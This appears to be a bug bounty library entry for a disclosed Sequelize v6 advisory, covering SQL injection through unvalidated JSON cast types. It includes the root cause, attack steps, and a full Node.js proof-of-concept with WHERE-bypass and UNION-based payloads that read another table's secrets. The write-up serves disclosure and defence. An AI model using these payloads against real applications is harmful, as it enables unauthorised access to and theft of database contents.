# Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Sequelize v6 interpolates unvalidated JSON key cast types into CAST(... AS <type>) SQL, letting attacker-controlled where-clause keys inject SQL and exfiltrate any table.

- Payout: Research
- Severity: high
- Program: Sequelize
- Found by: EthanKim88
- Disclosed: 2026-03-11
- CVE: CVE-2026-30951
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6457-6jrx-69cr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6457-6jrx-69cr
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:blind technique:source-review vuln:sqli

**Target:** ORM query generator JSON/JSONB where-clause handling
**Root cause:** _traverseJSON() splits JSON path keys on '::' and takes the suffix as a cast type without validation; handleSequelizeMethod() interpolates it raw into CAST(... AS <type>), unlike path values which are escaped.
**Steps:**
1. Install `sequelize@6.37.7` and `sqlite3`.
2. Define a model with a JSON column and pass a user-controlled object as the where value.
3. Inject via key `'role::text) or 1=1--'` to bypass the WHERE clause and return all rows.
4. Inject via key `'role::text) and 0 union select id,key,value,null,null from Secrets--'` to exfiltrate another table.
**How found:** Code review of _traverseJSON()/handleSequelizeMethod() noting path values are escaped via this.escape() but the cast type extracted from '::' is interpolated raw.
**Exploitation:** Attacker controls JSON object keys in a where clause; the '::' suffix becomes the CAST type, closing the CAST expression and appending arbitrary SQL. UNION-based payloads read arbitrary tables (e.g. Secrets) and boolean-blind variants allow inference.
**Escalation:** Cross-table exfiltration via UNION SELECT against any table in the database; applies to SQLite, PostgreSQL, MySQL, MariaDB.
**Insight:** In ORMs, escaping often covers the obvious value path but not secondary syntax fragments parsed out of keys (cast types, operators, collations). Grep for string interpolation into SQL type/operator positions and check whether the same input is escaped elsewhere.

## Proof of concept (copied exactly from the original report)

**PoC script with WHERE bypass and UNION exfiltration**

```
const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);
```

